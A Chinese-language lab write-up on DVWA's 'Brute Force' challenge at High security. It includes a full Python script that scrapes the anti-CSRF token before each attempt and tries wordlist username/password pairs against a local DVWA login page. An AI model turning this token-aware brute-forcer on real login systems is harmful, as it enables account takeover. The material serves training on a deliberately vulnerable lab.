四、暴力破解(Brute Force)-High
大约 1 分钟
四、暴力破解(Brute Force)-High
一、漏洞原理
通过源码可知High级别增加了Token机制,每次登录都必须向服务器提供最新的Token信息,这样就不能简单的用字典对用户名和密码进行暴力破解,需要在每次提交用户名和密码的时候添加上Token信息。High级别我们使用Python模拟登录,每次尝试新的用户名、密码前先获取Token信息,然后将用户名、密码、Token进行封装后执行登录提交到服务器,根据服务器返回的内容判断是否登录成功。
二、漏洞利用过程
bruteborce.py脚本如下
import requests
from bs4 import BeautifulSoup
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36",
"cookie": "PHPSESSID=vo6bf39fkvdmrjh4f4l3soecdv; security=high"
}
with open("user", 'r', encoding="utf-8") as names:
for username in names:
with open("passwd", 'r', encoding='utf-8') as passwords:
for password in passwords:
url = "http://192.168.146.136/dvwa/vulnerabilities/brute/"
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
get_data = {
"user_token": token,
"username": username.strip(),
"password": password.strip(),
"Login": "login"
}
r = requests.get(url, params=get_data, headers=headers)
if 'Username and/or password incorrect.' in r.text:
print(username.strip()+"/"+password.strip()+" :破解失败")
else:
print('=' * 40)
print(username.strip()+"/"+password.strip()+" :破解成功")
print('=' * 40)
执行命令 python3 bruteforce.py结果如下
三、防御方式
参见 暴力破解-Low-Medium 防御方式内容。
Loading...